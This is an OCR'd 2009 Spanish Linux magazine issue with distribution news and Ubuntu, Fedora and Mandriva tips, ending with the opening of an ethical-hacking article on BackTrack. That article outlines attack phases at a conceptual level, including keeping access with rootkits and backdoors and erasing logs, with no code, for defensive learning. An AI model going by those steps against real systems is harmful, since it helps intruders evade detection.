o NVIDIA, y mantiene muy activos los
terrenos de la innovacion.

Para celebrar este aniversario, en AMD
han anunciado una serie de concursos

que permitiran ganar tarjetas graficas y
procesadores si mandas videos o fotos que
tengan como tema central esa relevancia de
los productos de AMD. Si tus envios son de
calidad, podras hacerte con alguno de los
premios de esos concursos. Solamente nos
queda felicitar a AMD.
http://www.theinquirer.es/2009/05/04/amd-
celebra-su-40-aniversario.htm!

FreeBSD 7.2 presentado

Otro de los sistemas operativos derivados
de la rama BSD acaba de renovarse: en
este caso es FreeBSD 7.2, una propuesta
que seguin sus desarrolladores mantiene
la estabilidad de la version anterior, pero
la mejora con nuevas prestaciones. Entre
las caracteristicas destacadas en la pagina
oficial estan el soporte de “superpaginas”
para gestion de memoria de las aplicacio-
nes, soporte de direcciones IPv4 e IPv6,
nuevas caracteristicas para el sistema de
control de versiones de CVS, y también la
inclusiéon de GNOME 2.26 y KDE 4.2.2
como entornos de escritorio por defecto.
La nueva version de este sistema operativo
esta disponible en plataformas de 32 y 64
bits convencionales, pero también en ar-
quitecturas menos extendidas como [A64,
PowerPC o Sparc64. Las imagenes ISO
se dividen en varios discos, pero también
existe una version de instalacion via red
que solamente requiere del uso de una
pequefia imagen ISO para iniciar el
proceso.
http.//www.theinquirer.es/2009/05/04/
freebsd-72-presentado.html

iSCO en liquidacion!
P or si no lo recuerdas, SCO quiso aprove-

charse de las empresas que desarrollaban
Linux, acusandolas de introducir codigo de
Unix (supuestamente perteneciente a ellos) en el
codigo de Linux. También, aprovechandose de la
confusion por el juicio, comenzaron a amenazar
a empresas y usuarios por el uso de Linux, indi-
cando que estaban utilizando un sistema que vio-
laba sus patentes y licencias. Mientras tanto, las
ventas y la reputacion de SCO comenzaron a irse
en picada, y peor aun, fueron contrademandados
y se demostrd que tal codigo, si hubiera existido,
no les pertenecia a ellos, sino que a Novell.

La Oficina de Fideicomiso de Estados Uni-
dos (U.S. Trustee’s Office) ha solicitado que el
proceso de bancarrota de SCO pase a la fase de
Liquidacioén (Capitulo 7). O sea, la venta de los
activos de la empresa.

El organismo gubernamental norteamerica-
no, a través de su abogado Joseph J. McMahon
Jr., presentd una mocién en el procedimiento
de quiebra de SCO para pasar del proceso de
Bancarrota del Capitulo 11 al Capitulo 7, ar-
gumentando lo siguiente: Ademas, no sélo no
hay posibilidad razonable de “rehabilitacion” en
estos casos, sino que los deudores han intentado
—y fallaron — en liquidar sus negocios durante el
Capitulo 11. SCO ha estado en el Capitulo 11 por
un largo tiempo, sin dar sefales de recuperacion.
El Capitulo 11, significa que SCO se acogi6 a la
Suspension de Pagos (Chapter 11) del sistema
de bancarrota norteamericano en 2007. Se trata
de un periodo de tiempo que se le da a la com-

paiia para poder reorganizarse bajo supervision

SCO acus6 a IBM de introducir codigo que les pertenecia en el nicleo de Linux, sin embargo nunca

judicial, salir de sus deudas y lograr continuar
funcionando.

Sin embargo, SCO ha informado de un
flujo de caja negativo de mas de 3,5 millones
de dolares en su informe de marzo de 2009. 3,5
millones de dolares desde que la bancarrota fuera
presentada en septiembre de 2007, y que fue el
detonante para solicitar el cambio al capitulo 7,
argumenta el organismo norteamericano, debido
a la “sustancial o continua pérdida o disminu-
cion del estado y la ausencia de una probabilidad
razonable de rehabilitacion”. Ademas, los 3,5
millones de dolares son la suma que se deberia
haber pagado a Novell.

¢ Significa esto que también es el fin de los
casos judiciales? Segiin Groklaw, el sitio que
lleva todos los antecedentes de estos casos, ir a
Chapter 7 no implica terminar la litigacion. De
hecho, no puede por si solo ya que es algo que
debe decidir el observador judicial del proceso
de quiebras, y uno de sus intereses primordiales
es lograr el pago de USS 3,5 millones que se le
deben a Novell. Por otra parte no tiene el poder
de terminar las contrademandas de IBM. Tam-
bién tenemos a Red Hat, quienes no estan ne-
cesariamente interesados en detener el proceso
ya que su objetivo es dejar en claro que no hay
demandas legitimas contra Linux.

Como era de esperar, SCO indica que ape-
lara en los tribunales, ya que tienen previsto
oponerse a la propuesta y presentar su propia
propuesta de medidas al tribunal.
http://www.groklaw.net/article.php?story=200
9050519075131

pudieron demostrarlo y peor aun, fueron contrademandados y se demostré que tal codigo, si hubiera

existido, no les pertenecia a ellos, sino que a Novell.
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seccion llevada por Alex Sandoval news@lpmagazine.org INOfiCias

Build Service se va a Linux Foundation

esarrollar y mantener paquetes para

multiples distribuciones nunca ha sido
una tarea muy facil. Pero gracias a Novell
y el proyecto openSUSE, la tarea se ha
hecho realmente facil. El excelente servicio
Build Service desarrollado por el equipo de
openSUSE, que permite a los desarrollado-
res construir paquetes de sus aplicaciones
para multiples distribuciones incluyendo
openSUSE, SUSE Linux, Fedora, CentOS,
Mandriva, Red Hat y Debian/Ubuntu, pron-
to serd parte de la Developer Network de
la Linux Foundation (http://ldn.linuxfoun-
dation.org/).

Joe Brockmeier, administrador de la
comunidad de openSUSE, dijo que la idea
de colocar a Build Service en la Developer
Network, es fomentar una adopcién mas
amplia por parte de las diferentes distros,
ya que el servicio no es solo para la distri-
buciones Linux de Novell.

Novell ha estado trabajando en Build
Service desde enero de 2007 y lanzo la
version 1.0 en el mes de julio de 2008. En
la actualidad, Build Service se encuentra en
su version 1.6 e incluye soporte para crear
paquetes para las arquitecturas basadas en
ARM. Novell libero el codigo de Build Ser-
vice durante el afio pasado.

“El proyecto en si esta todavia bajo los
auspicios de su equipo de desarrollo, aunque
si mas gente quiere participar en el proyecto
después de usarlo, eso es realmente el punto
del codigo abierto”, explico McPherson.

Lo -
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Desarrollar y mantener paquetes para multiples
distribuciones nunca ha sido una tarea muy fécil.
Pero gracias a Novell y el proyecto openSUSE, la
tarea se ha hecho realmente fécil.

Build Service es excelente, permite man-
tener tu distribucion con software actualizado,
buscando los paquetes en un lugar centralizado
a través de una comoda interfaz web. Y a los
desarrolladores, les permite compilar su soft-
ware para multiples arquitecturas y distribucio-
nes de una manera facil y de forma totalmente
gratuita.

http://microteknologias.wordpress.com/
2009/04/20/build-service-se-va-a-la-

linux-foundation/
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Ubuntu seccion llevada por Francisco Javier Carazo Gil ubuntu@l/pmagazine.org

Microsoft trata de reaccionar en el mercado
de los netbooks

Los tan famosos netbook son a dia de hoy,
una gran batalla por conseguir la victoria tanto
en el mercado del hardware como en el del
software. El del hardware, lo comenz6 Asus
con su Eee y con €l di6 el pistoletazo de salida
a un sector del mercado que hasta entonces

no existia. La hegemonia de Windows en el
mercado del software, no es tan clara en este
segmento, dado que el coste de sus licencias,
incluso las de XP, suponen un incremento del
coste demasiado elevado para dispositivos que
tratan de tener un precio realmente reducido.
La solucion, rebajar las licencias para este
mercado. Parece ser que ante la creciente
demanda de equipos con GNU/Linux en este
segmento, Microsoft ha decidido rebajar

a 15€ el coste de la licencia de Windows XP,
un sistema que por otra parte tienen mas que
amortizado, tras tantisimos afios en primera
linea. Por ahora son s6lo rumores, pero no
seria extraflo ver una maniobra de este estilo
para que el gigante de Redmond no perdiera
mas terreno.

apt-P2P

Como ya he dicho antes, la congestion que
sufren los servidores de Canonical cuando
todos comenzamos a bajar y actualizar nues-
tro sistema operativo, puede llegar a generar
problemas no ya de velocidad, sino de servi-
cio. La solucion, utilizar P2P para descargar
el ISO (torrent) y en el caso de las actualiza-
ciones, utilizar APT-P2P, una herramienta con
una filosofia similar que trata de descargar los
servidores centrales de los repositorios utili-
zando el mismo esquema de funcionamiento
que un sistema P2P. ;Coémo instalarlo en
Nuestro equipo en unos pocos pasos?

* Instalar apt-p2p :

sudo apt-get install apt-p2p

Preparar el archivo sources.list :

sudo cp /etc/apt/sources.list

.

/etc/apt/sources.list-apt
-p2p-backup

Editarlo:

#afiadir "localhost:9977" después de
cada "http://" deb
http://localhost:9977/

archive.canonical.com/ubuntu hardy

.

partner deb-src
http://localhost:9977/
archive.canonical.com/ubuntu hardy
partner

deb http://localhost:9977/*mirror—
address*/ubuntu/ hardy main universe
restricted multiverse

deb-src http://localhost:9977/
*mirror-address*/ubuntu/ hardy main
universe restricted multiverse
Actualizar los paquetes :

sudo rm -rf /var/cache/apt-p2p/cache/*

.

sudo apt-get update
Comenzar la actualizacion desde Intrepid
a Jaunty (como antes hemos dicho):
sudo update-manager -d
» Comprobar los datos y estadisticas DHT,
descargas y subidas (via navegador):
http://localhost:9977

.

Jaunty Jackalope

I mes pasado en esta misma seccion nos de-

dicamos a hablar de las novedades que se
preveian para la ultima versién de Ubuntu. Cum-
pliendo los plazos, el dia 23 de Abril de este afio,
sali6 la version definitiva de Jaunty Jackalope, la
version 9.04 del sistema operativo de Canonical.
Puesto que ya no estamos hablando de los que
posiblemente traiga, sino de lo que trae ya que

Lo

esta “en la calle”, nada mejor que comentar sus
puntos fuertes y daros unos cuantos consejos pa-

ra que lo tengais todo listo una vez instalada.

Probablemente hayais pedido el CD de Ubuntu
por el servicio Shipit que ofrece Canonical Ltd.
y que te envia gratuitamente un CD de la distri-
bucion a tu casa de manera gratuita. Aunque es
un servicio fiable y a mi al menos nunca me ha
fallado a pesar de su gratuidad, si es cierto que
estamos hablando de un periodo de envio de en-
tre tres semanas y un mes y medio. Por lo tanto,
a no ser que tengais mucha paciencia o no ten-
gais tiempo para actualizar, tendremos que bus-
car una alternativa para instalarla. La direccion
del Shipit es: https.//shipit.ubuntu.com/.

La primera alternativa es descargar el CD de
instalacion de la red y posteriormente grabarlo.
Mejor hacerlo a través de torrent que a través de
uno de los mirrors que se nos proporcionan para
evitar congestionar la red. La segunda alternativa
coincide en la primera parte con ésta, descargar
el CD, pero la segunda difiere, en lugar de grabar
el CD, procedemos a crear un USB arrancable,
para ahorrarnos un CD (algo bueno tanto desde
el punto de vista econémico como ecolégico,
ademas de ser algo mas rapido en tiempo).

Aunque supongo que existiran mas progra-
mas que se encarguen de esta labor, he probado
personalmente dos. El que mas me gusta de to-
dos ellos es uno llamado USB Live, aunque por
lo que he podido comprobar, UNetbootin (http://
unetbootin.sourceforge.net/), es el mas versatil.
Todos son més o menos similares en el uso y en
el resultado no suele haber problemas (con UNet-
bootin si he tenido alguna vez, por lo que a priori
recomiendo USB Live).

Una vez tengdis listo el USB, si vuestra
placa soporta arranque desde el mismo, estaréis
preparados para volar en la instalacion.

También tenéis la opcion de hacer una actuali-
zacion de la distribucion directamente desde el
gestor de actualizaciones. Probablemente os haya
aparecido el anuncio en el mismo al ir a actuali-
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zar algo o si queréis forzarlo podéis hacer desde
la consola: sudo update-manager -d.

No recomiendo esta opcion porque a mi al
menos, me ha creado en alguna ocasion algin
que otro problema con los repositorios y aparte,
podria afirmar que no se queda tan bien en otros
aspectos como una instalacion /impia. Para ello,
os recomiendo tener siempre la particién /rome
en otro punto de anclaje que la particion /, en otra
particion vaya, para poder formatear la particion
/'y recuperar el contenido de /zome. Si no lo te-
néis asi, seria buen momento para hacerlo.

Podriamos comenzar a comentar las novedades
mas insignificantes que trae esta version, pero
para resumir nos centraremos solo en las mejores
mejoras, valga la redundancia.

Ubuntu 9.04 no es un sistema operativo enfoca-
do de manera especifica al arranque rapido, pero
si es probablemente la distribucién mas rapida
arrancando de todas las de uso general. La mejo-
ria es apreciable desde la version 8.10.

Concretamente las versiones 1.6 y 2.26 respec-
tivamente. Mejoras a nivel grafico en todos los
aspecto del mismo. Desde el soporte de todo, al
entorno de escritorio. Alin asi esperamos ansio-
sos la llegada e integracion en Ubuntu de Gnome
3.0. Una de las mejoras mas practicas, es la me-
jora en la gestion de varios monitores a los que
dar salida simultaneamente.

Para los aficionados a probar lo tltimo. Yo per-
sonalmente, esperaré unos cuantos meses a que
esté todo mas depurado y no haya ningun tipo de
problema en algo tan sensible como un sistema
de archivos. Aun asi, esta lo suficientemente pro-
bado como para no tener problemas en un uso
como ordenador personal.

La 2.26.1, mas concretamente, pero ;jpor qué
tanto
porque incorpora la posibilidad de importar di-

interés por Evolution? Bésicamente

rectamente archivos PST (Carpetas Personales)
directamente desde Outlook. Esta funcionalidad
ofrece la posibilidad a los usuarios de Windows
de migrar desde Outlook sin mayores problemas
porque ahora también, Evolution soporta MAPI,
el protocolo de Microsoft Exchange.



seccion llevada por Diego Rivero Montes linux@I/pmagazine.org Fedora

Fedora 11 usara Nouveau por defecto

1 proyecto Nouveau es un gran intento

desde ya hace algin tiempo en la batalla
por ofrecer un controlador libre que de soporte
a las tarjetas NVIDIA. Pues bien el equipo de
Fedora han decidido integrarlo por defecto en
la version 11 de la distribucion.

Al parecer, la casa madre, Red Hat, se hizo
con los servicios de uno de los desarrollado-
res de Nouveau en concreto se trata de Ben
Skeggs, el cual se encuentra manos a la obra
en ello.

Aunque en el momento de escribir estas
lineas parece ser que no es muy estable ni pa-
ra las dos dimensiones ni las tres dimensiones,
no se trata de un problema y en Fedora en el

buen camino. Haciendo gala de su fama de ser
una de las distribuciones en las que se aventu-
ran a probar paquetes en estado experimental,
esta vez no iban a ser menos y posiblemente
los esfuerzos por lograr una distribucion con
controladores libres puede que sea un logro
gracias a gente como ellos.

Pues bien, si como parece ser, el con-
trolador esté listo para la fecha de salidad
de la nueva version tendremos Nouveau por
defecto, aunque el xf86-video-nv (cuyo codi-
go tampoco estaba demasiado depurado y no
daba soporte) siga incluyéndose como recurso
por si fallase el nuevo driver.

Red Hat prevé un fuerte alza de sistemas

de cédigo abierto

lguien tenia que salir beneficiado de la

crisis y si se trata de los sistemas libres
mejor para todos, algo es algo, por una vez los
multipoderosos no son los que mas provecho
sacan. Es triste decirlo, pero la crisis global
es muy buena para el codigo abierto palabras
textuales de Jim Whitehurst presidente de la
compaiiia del sombrero rojo en su visita a Ar-
gentina indicando ademas que Si una empresa
planea hoy dia una nueva aplicacion o infra-
estructura bajo codigo privativo, simplemen-
te esta loca.

En general las restricciones que estan
sufriendo las compaiiias en lo que se refiere
a cuestiones monetarias estan haciendo que
estas, en lo que se refieren a Tecnologias de
la Informacion, migren hacia soluciones que

Relatime

C uando hablamos del sistema de ficheros
ext3, hemos de tener en cuenta que guada

la informacion de archivo respecto a tres fechas

diferentes. Si queremos verificar esta informa-

cion lo podemos hacer utilizando la linea de

comandos con #stat nombrearchivo.

Para ver la fecha en que se accedio por
ultima vez al archivo habremos de fijarnos en
Acces Time (atime) que es donde se guarda la
informacion con la fecha de acceso. Esta fe-
cha se modifica con cada acceso, por ejemplo
cuando usamos el comando cat.

Esto significa que el uso del disco duro se
multiplica ya que lo cargamos con un trabajo
adicional por lo que se produce un mayor

no les supongan un gran desembolso, lo que
conlleva evidentemente a optar por aplicacio-
nes y sistemas de codigo abierto y abandonar
el software privativo.

No se trata de un fendémeno nuevo ya que
desde hace algun tiempo, empresas que se ha-
bian decidido por adoptar software privativo,
estaban volviendo sus miras hacia sistemas de
codigo abierto sobre todo cuando empezaron
a desintegrarse prejuicios sobre falta de seguri-
dad. Ahora, como explica el CEO de Red Hat,
no soélo se trata de ahorrar, sino de tener Seguri-
dad, un mejor desemperio y flexibilidad.

Las aplicaciones de acceso remoto o com-
putacion en nube son dos de los grandes cam-
bios que en un futuro se van a dar en el sector
informatico segtin Whitehurst.

desgaste y por consiguiente nuestro sistema se
vuelve mas lento. El hecho de escribir la fecha
del ultimo acceso cada vez puede ser que sea
légico si estamos hablando de servidores, pero
para una maquina de trabajo de escritorio no
suele ser lo principal.

Si queremos corregir esto disponemos de
una solucion bastante facil, para ello lo unico
que es necesario hacer es editar el archivo
fstab que se halla en el directorio /efc, osea
/Jetc/fstab y deshabilitar esta funcionalidad en
las opciones de montaje agregando noatime.
Asi no se guardara la informacién sobre la
fecha de acceso.

www.|pmagazine.org
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novedades

Mandriva seccion llevada por Juan Gamez mandriva@lpmagazine.org

Mandriva Seed

Mandriva Seed es una herramienta

grafica para crear llaves USB con Mandri-
va Linux, a partir de las flamantes
imagenes ISO hibridas.

Se puede descargar en versiones tanto
para GNU/Linux como para Microsoft
Windows.

Para utilizarlo solamente debemos des-
cargar mandriva_seed.sh, hacer a este
script ejecutable (chmod +x mandri-
va_seed.sh)y ejecutarlo desde cualquier
usuario (no es necesario ser root). Selec-
cionamos nuestra iso, el USB de destino,
et voila, nuestra distribucion favorita en
un USB para utilizarla donde deseemos.

Nuevo disefio de la web de Mandriva

La web de Mandriva ha cambiado total-
mente su disefio, siendo mas moderno y
vistoso, ademas de ofrecer mayor cantidad
de informacion y estar mejor estructurada.
Actualmente el unico idioma disponible
es el inglés. En breve se comenzaran los
trabajos de traduccion al castellano por
parte de voluntarios. Si queréis sumaros

a este proyecto visitar Blogdrake
(http://blogdrake.net/).

Adopta un paquete

Se ha iniciado una campana con la finalidad
de acabar con los paquetes que no tengan
mantenedor. Esta iniciativa ha sido publica-
da por Jerome Quelin.

Se ha publicado una lista con los paquetes
huérfanos, buscad en la lista y si usais
alguno de los paquetes, podéis solicitar

ser mantenedor de ¢l. Todo lo que debe-
mos de hacer es actualizar el paquete cuan-
do salga una nueva version o bien corregir
algun fallo en el empaquetado. Luego
utilizaremos este paquete en nuestro
sistema (elegisteis ese paquete porque

lo usabais, recordad) y comprobar que
funciona de forma correcta.

Podéis leer el anuncio completo en:
http://jquelin.blogspot.com/2009/05/
adopt-mandriva-package-campaign. html

Mandriva adopta Smolt de Fedora

Siguiendo un poco el ejemplo y el consejo
de OpenSUSE, Frederick Himpe, un miem-
bro de la comunidad de Mandriva construyo
paquetes de Smolt para esa distribucion

y los subi6 al repositorio de Mandriva
Cooker, su version de desarrollo. Para
quienes no lo conocen todavia, el propio
Himpe explica la relevancia de Smolt:
Smolt es una herramienta desarrollada

por Fedora que recopila informacion sobre
todo tu hardware y la envia a una base

de datos central. En el sitio de Smolts.org
la gente puede ver todas las entradas
almacenadas y comprobar cudles funcionan
bien. Ademas de la base de datos, hay un
Wiki donde puede encontrarse informacion
extra para configurar el hardware correc-
tamente.

Mandriva 2009.1 Spring

omo ya es costumbre, la primavera ha lle-
C gado, y con ella las flores, las alergias y...
jla ultima version de nuestra distribucion favori-
ta, Mandriva 2009.1 Spring! Esta se present6 el
pasado mes de abril. Rapidamente nos pusimos a
actualizar nuestro sistema para poder probar esta
ultima version y contaros la experiencia.

Como ya sabréis tenemos dos vias principa-
les para realizar la actualizacion. Descargarnos el
DVD-free de uno de los muchos repositorios de
Mandriva. Una vez grabado el DVD arrancamos
nuestro ordenador desde este medio y cuando se
nos pregunte si queremos una instalacion nueva
o actualizar nuestra version le indicamos que
realice esto ultimo. Después de un rato tendre-
mos nuestra flamante Mandriva 2009.1 en nues-
tro ordenador. En este punto he de deciros que
podéis encontraros algiin problema al realizar
este proceso, por favor, consultar la pagina de
erratas de la version (http.//wiki.mandriva.com/
es/Erratas_de 2009.1), en ella se os explica
coémo solucionar los pequeios contratiempos
que se os puedan presentar.

Lasegunda forma de actualizar nuestra Man-
driva es utilizar directamente los repositorios en
Internet de Mandriva 2009.1. Para ello borra-
mos (como roof) los repositorios actuales con
#rpmi.removemedia -a, configuramos los re-
positorios nuevos a través de easyurpmi (http.//
easyurpmi.zarb.org/?language=es) y una vez con-
figurados actualizamos el sistema con #urpmi
--—auto-select -auto.

Una vez actualizado y reiniciado nuestro
sistema jcon qué nos encontramos? Dentro
de Mandriva 2009.1 Spring nos encontramos
con muchas actualizaciones asi como mucho
software nuevo. La version del kernel es la
2.6.29.

Tenemos a nuestra disposicion el escrito-
rio KDE4 en su version 4.2.2. Aqui es donde
me he encontrado con la primera sorpresa.
He de reconocer que el KDE4 de Mandriva
2009.0 me parecia un entorno muy verde para
el usuario final y con muchas carencias. He de
confesar que en Mandriva 2009.0 he seguido
utilizando KDE3 olvidandome de la version 4.
En Mandriva 2009.1 Spring nos encontramos
con un escritorio funcional, muy depurado y
por fin usable y con las aplicaciones principa-
les portadas como Amarok, Kaffeine o k3b.

Se han depurado mucho las aplicaciones
propias de KDEA4, entre ellas el gestor de fiche-
ros Dolphin, el visor de documentos Okular, y
el reproductor multimedia Dragon Player. En-
tre las mejoras al navegador web Kongqueror,
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se encuentra el soporte a imagenes en formato
SVG (scalable vector graphics).

Para los que prefieran GNOME como escri-
torio, Mandriva 2009.1 les ofrece la version 2.6.
En ¢l nos encontraremos con el grabador de
CD/DVD brasero, el cliente de mensajeria ins-
tantanea Empathy o Epiphany, el navegador web
de GNOME. La suite de mensajeria electronica
y trabajo en equipo Evolution ahora puede im-
portar las carpetas personales de Microsoft Out-
look y soporta el protocolo MAPI de Exchange.
Se han producido también novedades en Nautilus
que viene con una mejorada vista de lista com-
pacta ademas de venir en modo browser por de-
fecto.

Pero Mandriva 2009.1 también nos propor-
ciona otros escritorios como XFCE en su version
4.6 0 IceWM, FluxBox, etc., para que cada usua-
rio de Mandriva trabaje con el entorno que mas
le agrade o que se ajuste a las capacidades de su
hardware. Queria hacer una mencion especial a
LXDE. LXDE es un escritorio ligero y moderno,
concebido para responder a las necesidades de
utilizacion de un escritorio moderno con progra-
mas que realicen un consumo de memoria mini-
mo, este escritorio esta especialmente enfocado
para los ordenadores portatiles, para los cuales
LXDE es ideal. LXDE presenta un escritorio ra-
pido y completo puesto que nos proporciona un
ment de entrada y una barra de trabajo clasica,
un centro de configuracion completo, el gestor
de ficheros, un administrador de tareas, una
herramienta para configurar la pantalla, un visor
de imagenes, un editor de textos y el gestor de
archivos comprimidos. La instalacion de LXDE
en Mandriva Linux 2009.1 Spring es tan facil de
instalar dado que se presenta como metapaquete
(task-Ixde).

Ademas tenemos disponibles en Mandriva
2009.1 a OpenOffice 3.0.1,Mozilla Firefox 3.0.6,
Qt creator, Wine 1.1.17 y mucho software mas
que hace dificil un listado completo. También se
nos ofrecen mejoras en las herramientas de insta-
lacion y manejo de software de Mandriva.

En resumen, Mandriva nos vuelve a ofre-
cer una fantastica distribucion, rapida en su
arranque, optimizada y que representa un gran
avance en cuanto a calidad y usabilidad sobre
la anterior Mandriva 2009.0. No lo dudéis,
instalad o actualizad vuestra Mandriva para
conocer y gozar esta nueva entrega de nuestra
distribucion favorita.

Como siempre visitar la pagina del wiki de
Mandriva para obtener mas informacion.
http://wiki.mandriva.com/es/Portada
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seguridad y ethical hacking

BackTrack

Ethical Hacking
utilizando BackTrack

Alonso Eduardo Caballero Quezada
Cuando se hace mencién a Ethical Hacking, la gran mayoria de personas (conocedoras 0 no

del tema) perciben en sus mentes imagenes de individuos frente a un monitor de un ordenador,
que observan con elevado interés letras de color blanco sobre un fondo de color negro, utilizando
herramientas mégicas en plena ejecucion, que obtienen y muestran contrasefias en tiempo real,
que obtienen los privilegios maximos de root o administrator, permitiendo control total sobre los
ordenadores o dispositivos que son los objetivos de tales acciones.

linux@software.com.pl

unque todo lo expresado no esta lejos de lo real,

no existe “magia” en tales herramientas; pero

si la hubiera, BackTrack seria nuestra varita

magica y nosotros el mago. El presente escrito
trata de mostrar como es posible realizar Ethical Hacking
o Hacking Etico utilizando BackTrack, pero sin llegar a expo-
ner el uso de cada herramienta contenida.

La mayoria de personas piensa que los denominados Hackers
tienen una extraordinaria experiencia y conocimientos que
les permite Hackear cualquier sistema informatico y encon-
trar informacion de mucho valor. El término Hacker no im-
plica la comision de un delito, aunque se haya difundido y se
difunda como un término nada benigno. Un buen Hacker en-
tiende como funcionan las computadoras y qué herramientas
emplear para encontrar una debilidad en la seguridad.

Los Hackers pueden ser divididos en tres grupos: somb-
rero blanco (white hat), sombrero negro (black hat), y som-
brero gris (grey hat). Los Hackers Eticos usualmente caen
dentro de la categoria de sombrero blanco, pero algunas ve-
ces se formaron con un sombrero gris, quienes tuvieron que
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convertirse en profesionales de seguridad y que utilizan sus
conocimientos de una manera ética.

Los Hackers Eticos son usualmente profesionales de
seguridad o examinadores en penetracion de redes quienes
utilizan sus conocimientos de /acking y conjunto de herra-
mientas para propositos defensivos y de proteccion.

El término Cracker, en una de sus acepciones, descri-
be un Hacker que utiliza sus conocimientos de hacking
y conjunto de herramientas para propdsitos destructivos
u ofensivos (como diseminar virus o realizar ataques DoS
para comprometer y derrumbar sistemas o redes). No solo
buscan diversion, algunas veces son pagados para danar
reputaciones corporativas, robar o revelar informacion de
tarjetas de crédito, mientras desaceleran los procesos de la
empresa comprometiendo la integridad de la organizacion.

Se debe de iniciar el conocimiento de conceptos, iden-
tificando los diferentes tipos de tecnologias de Hacking.
Existen muchos métodos y herramientas para localizar vul-
nerabilidades, ejecutar exploits, y comprometer sistemas.
Los Troyanos, Sniffers, rootkits, exploits, buffer overflows,
e inyeccion SQL, son tecnologias que pueden ser utilizadas
para hackear un sistema o red. La mayoria de herramientas



Fasa 1. Asoconockmianio

Fasn 1. Sordeo

Fastr 3, Dlrloniando of soores

Fasn 4. Manbeniendo o s

Fasa 5. Cubrisndn lxs huslas

Ethical Haking de cinco fases

de Hacking explotan debilidades en Sistemas
Operativos, Aplicaciones, codigo envuelto o ma-
la configuracion.

Ademas de lo mencionado, existen diferen-
tes tipos de ataque. Los ataques pueden ser ca-
tegorizados en Pasivos y Activos. Los ataques
pasivos y activos son utilizados sobre la infra-
estructura de seguridad de la red y sobre los
servidores. Los ataques activos alteran el siste-
ma o red que estan atacando, mientras que los
ataques pasivos intentan obtener informacion
de dicho sistema. Los ataques activos afectan
la disponibilidad, integridad y autenticidad de
los datos; mientras que los ataques pasivos son
brechas en la confidencialidad.

Adicionalmente los ataques son catego-
rizados como internos o externos. Un ataque
originado desde el interior del perimetro de
seguridad de la organizacion es un ataque inter-
no y es causado usualmente por una “persona
interna” que obtuvo acceso a mas recursos de
los que se esperaba. Un ataque externo se ori-
gina desde una fuente externa al perimetro de
seguridad, tal como internet o una conexion de
acceso remoto.

Existen algunas variantes en lo referente a las
fases de Ethical Hacking, pero en su esencia,
todas ellas siguen fases similares. Un Hacker
Etico sigue un proceso que se asemeja al de
un Hacker malicioso. Los pasos para obtener
y mantener la entrada en un sistema informatico
son similares, sin que importe las intenciones
del Hacker.

Fase 1: Reconocimiento activo y pasivo. El
reconocimiento pasivo supone obtener infor-
macion relacionado a un objetivo potencial, sin
el conocimiento de la compaiia o individuo.
Este proceso es generalmente denominado
como Obtencion de informacion. El Recono-
cimiento activo involucra probar la red para

descubrir servidores, direcciones IP, y servicios
en la red. Esto implica un mayor riesgo de ser
detectado que durante el reconocimiento pasi-
vo. Ambos tipos de reconocimiento conducen
a descubrir informacion til para ser utilizado
en un ataque.

En esta fase se realizan: Busquedas en
internet, ingenieria social, bucear en la basura,
Sniffing, etc.

Fase 2: Sondeo. El sondeo supone tomar la
informacion descubierta durante la fase de re-
conocimiento y utilizarla para examinar la red.

En esta fase se utilizan: Dialers (marca-
dores), escaner de puertos, mapeadores de red,
sweepers (barredores), y escaner de vulnerabi-
lidades.

Fase 3: Obteniendo el acceso. Esta es la
fase donde ocurre el Hacking real. Las vulnera-
bilidades descubiertas durante la fase de reco-
nocimiento y sondeo son ahora explotadas para
obtener acceso. El método de conexion que un
Hacker utiliza para un exploit puede ser (LAN
o Inalambrica), acceso local a una PC, Internet
u Offfine (fuera de linea).

En esta fase se utiliza: Desbordamiento de
Buffer, Negaciones de Servicio (DoS), secues-
tro de sesiones.

Fase 4: Manteniendo el acceso. Una vez
que el Hacker ha obtenido el acceso, este debe
ser mantenido para futuros ataques y explota-
cion. Una vez que el Hacker se apropia del sis-
tema, puede utilizarlo como base para lanzar
otro tipo de ataques. Lo que se denomina un
sistema zombi.

En esta fase se utiliza: Puertas traseras,
Rootkits, y troyanos.

Fase 5: Cubriendo las huellas. Una vez que
el Hacker obtiene y mantiene el acceso, debe
cubrir las huellas; para evitar la deteccion por el
personal de seguridad; y continuar utilizando el
sistema apropiado, borrar evidencia de Hacking
o evitar acciones legales.

En esta fase se utiliza: Esteganografia,
protocolos con tneles y alterar archivos de
registros, etc.

Fase 1: Realizando el reconocimiento. El re-
conocimiento es considerado la primera fase
previa de un ataque y es un intento sistematico
de ubicar, identificar y registrar informacion
sobre el objetivo. Se intenta obtener tanta infor-
macion como sea posible de la victima.

Fase 2: Sondeo y Enumeracion. El sondeo
y enumeracion es considerado la segunda fase
previa de un ataque. El sondeo es el paso activo
de intentar realizar una conexion a un sistema
para provocar una respuesta. La enumeracion
es utilizada para obtener informacién mas
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profunda sobre el objetivo; tales como puertos
abiertos, recursos compartidos o cuentas de
usuario.

Fase 3: Obteniendo el acceso. En lo que
respecta a los posibles dafios, este puede ser
considerado uno de los mas importantes pasos
en un ataque. Esta fase del ataque ocurre cuan-
do el Hacker va de simplemente probar la red,
a realmente atacarla. Después de ganar el ac-
ceso, puede empezar a moverse de sistema en
sistema, esparciendo su dafio al mismo ritmo
que su avance.

Fase 4: Escalado de privilegios. Dado que
el Hacker debe estar feliz debido a que obtuvo
el acceso, no se espera que detenga sus acciones
s6lo obteniendo la cuenta de un usuario. Con el
acceso de un usuario promedio, probablemente
no proporciona mucho control o acceso a la red.
Sin embargo, el atacante puede intentar escalar
a privilegios de administrador o root.

Fase 5: Manteniendo el acceso. Se debe de
ser diligente en mantener el acceso a un sistema
que ha sido atacado o comprometido. Un Root-
Kit es una buen opcion para los Hackers, dado
que posibilita y ayuda al atacante a mantener
su acceso al sistema y utilizarlo para propositos
nada santos, ocultando de esta manera su presen-
cia, y manteniendo en secreto sus actividades.

Fase 6: Cubriendo huellas y colocando puer-
tas traseras. El Hacker debe asegurarse de borrar
toda evidencia de sus actividades. Esto incluye el
uso de RootKits, u otras herramientas para ocul-
tar sus huellas. También se pueden sobrescribir
los archivos de registros o intentar borrarlos. Las
puertas traseras son un método que se utiliza
para volver a ingresar en el ordenador.

Considero conveniente presentar esta meto-
dologia y estructura de trabajo, para tener un

Ethical Haking variante de seis fases
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marco de referencia en lo referente a la exposi-
cion de conceptos inmersos en el presente arti-
culo. Esto en primer lugar, a razon de tener estos
conceptos claros; y en segundo lugar, debido
a que no es cuestion de simplemente iniciar
BackTrack en cualquiera de sus formas, dado
que no es una herramienta automatica que rea-
liza una Prueba de Penetracion o Ethical Hac-
king. Al menos, hasta el momento de redactar el
presente articulo.

